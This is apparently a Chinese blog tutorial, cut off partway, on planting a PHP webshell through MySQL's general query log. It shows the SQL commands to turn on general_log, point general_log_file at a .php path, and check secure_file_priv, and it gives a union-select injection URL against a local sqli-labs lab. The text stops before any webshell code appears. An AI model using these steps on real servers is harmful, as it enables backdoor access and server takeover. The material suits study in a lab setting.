MySQL写马详解

日志写马

条件

1.全局变量general_log为ON

MySQL的两个全局变量:

general_log指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。

general_log_file 指的是日志的保存路径。

mysql> show global variables like "%general\_log%";+------------------+--------------------------------------------------------+| Variable\_name    | Value                                                  |+------------------+--------------------------------------------------------+| general\_log      | OFF                                                    || general\_log_file | D:\\phpStudy\\PHPTutorial\\MySQL\\data\\DESKTOP-UQAMJKA.log |+------------------+--------------------------------------------------------+2 rows in set (0.02 sec)

如果目前这个general_log为off状态,那么日志就没有被记录进去,所以要先打开这个全局变量。

set global general_log='on';

打开过后,日志文件中就会记录我们写的sql语句。我这里用sqli-labs来进行执行sql语句:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+

打开D:\phpStudy\PHPTutorial\MySQL\data\DESKTOP-UQAMJKA.log日志文件,成功记录

注:不管sql语句是否正确都会记录进去。

不过general_log_file可以直接通过SQL语句修改,而且必须修改为比如php后缀的文件,不然马不能被解析。下面讲第2点条件会详细说明。

2.需要secure_file_priv为空,即secure_file_priv="";或者secure_file_privgeneral_log_file 日志的保存路径的磁盘。不过general_log_file可以直接通过SQL语句修改,必须要修改为比如php后缀的文件,不然马不能被解析:

mysql> set global general\_log\_file='D:/1.log';Query OK, 0 rows affected (0.07 sec)mysql> show variables like "%general%";+------------------+----------+| Variable\_name    | Value    |+------------------+----------+| general\_log      | ON       || general\_log\_file | D:/1.log |+------------------+----------+2 rows in set (0.03 sec)#注:其中路径里的\\用\\\或者/代替,因为\\的话会消失一个mysql> set global general\_log\_file='D:\\1.log';Query OK, 0 rows affected (0.06 sec)mysql> show variables like "%general%";+------------------+---------+| Variable\_name    | Value   |+------------------+---------+| general\_log      | ON      || general\_log\_file | D:1.log |+------------------+---------+2 rows in set (0.03 sec)

然后在D盘下就出现1.log成为新的日志文件了。但是最后也要考虑能不能成功的连接到马,像如果secure_file_priv固定为G:\,而网站是搭在D盘上,那把general_log_file修改为G盘下的文件也连接不到,除非还有文件包含漏洞等等。

show global variables like '%secure%';查看可以写入的磁盘。
(1)当secure_file_priv为空,就可以写入磁盘的目录。
(2)当secure_file_priv为G:\,就可以写入G盘的文件。
(3)当secure_file_priv

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安溦寀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值